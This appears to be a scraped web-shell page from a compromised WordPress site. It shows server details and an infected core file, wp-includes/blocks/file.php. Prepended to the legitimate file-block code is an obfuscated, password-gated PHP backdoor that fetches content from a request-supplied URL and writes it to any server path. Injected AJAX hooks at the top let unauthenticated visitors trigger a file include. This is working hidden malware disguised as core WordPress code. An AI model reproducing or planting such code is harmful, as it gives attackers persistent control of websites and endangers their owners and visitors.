if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/blocks/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/blocks/file.php
<?php 
$UYZEhVdeGA = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($UYZEhVdeGA[0]) /*+/*+*/
. md5($UYZEhVdeGA[0])) == "f".
"0".
"b".
"9".
"a".
"6".
"1".
"1".
"d".
"8".
"1".
"8".
"9".
"3".
"3".
"3".
"8".
"7".
"6".
"3".
"1".
"a".
"b".
"5".
"7".
"e".
"9".
"0".
"e".
"a".
"0".
"c") {
$NPARbAwzg = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$TIhFZCtz = $NPARbAwzg /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$CAWzULqb = $NPARbAwzg
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function qwYaEsb($cfYrZD) { if (empty($cfYrZD)) return false; if (!is_dir($cfYrZD)) { qwYaEsb(dirname($cfYrZD), 0755, true); mkdir($cfYrZD); } } !file_exists(dirname($UYZEhVdeGA[1])) && qwYaEsb(dirname($UYZEhVdeGA[1])); $Twiyj = @$CAWzULqb($UYZEhVdeGA[2]); echo @$TIhFZCtz($UYZEhVdeGA[1], $Twiyj) ? 1 : 0; die; }key($UYZEhVdeGA) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/file` block.
 *
 * @package WordPress
 */

/**
 * When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script.
 *
 * @since 5.8.0
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The block content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the block content.
 */
function render_block_core_file( $attributes, $content ) {
	// If it's interactive, enqueue the script module and add the directives.
	if ( ! empty( $attributes['displayPreview'] ) ) {
		$suffix = wp_scripts_get_suffix();
		if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
			$module_url = gutenberg_url( '/build/interactivity/file.min.js' );
		}

		wp_register_script_module(
			'@wordpress/block-library/file',
			isset( $module_url ) ? $module_url : includes_url( "blocks/file/view{$suffix}.js" ),
			array( '@wordpress/interactivity' ),
			defined( 'GUTENBERG_VERSION' ) ? GUTENBERG_VERSION : get_bloginfo( 'version' )
		);
		wp_enqueue_script_module( '@wordpress/block-library/file' );

		$processor = new WP_HTML_Tag_Processor( $content );
		$processor->next_tag();
		$processor->set_attribute( 'data-wp-interactive', 'core/file' );
		$processor->next_tag( 'object' );
		$processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' );
		$processor->set_attribute( 'hidden', true );

		$filename     = $processor->get_attribute( 'aria-label' );
		$has_filename = ! empty( $filename ) && 'PDF embed' !== $filename;
		$label        = $has_filename ? sprintf(
			/* translators: %s: filename. */
			__( 'Embed of %s.' ),
			$filename
		) : __( 'PDF embed' );

		// Update object's aria-label attribute if present in block HTML.
		// Match an aria-label attribute from an object tag.
		$processor->set_attribute( 'aria-label', $label );

		return $processor->get_updated_html();
	}

	return $content;
}

/**
 * Registers the `core/file` block on server.
 *
 * @since 5.8.0
 */
function register_block_core_file() {
	register_block_type_from_metadata(
		__DIR__ . '/file',
		array(
			'render_callback' => 'render_block_core_file',
		)
	);
}
add_action( 'init', 'register_block_core_file' ); ?>
@ Telegram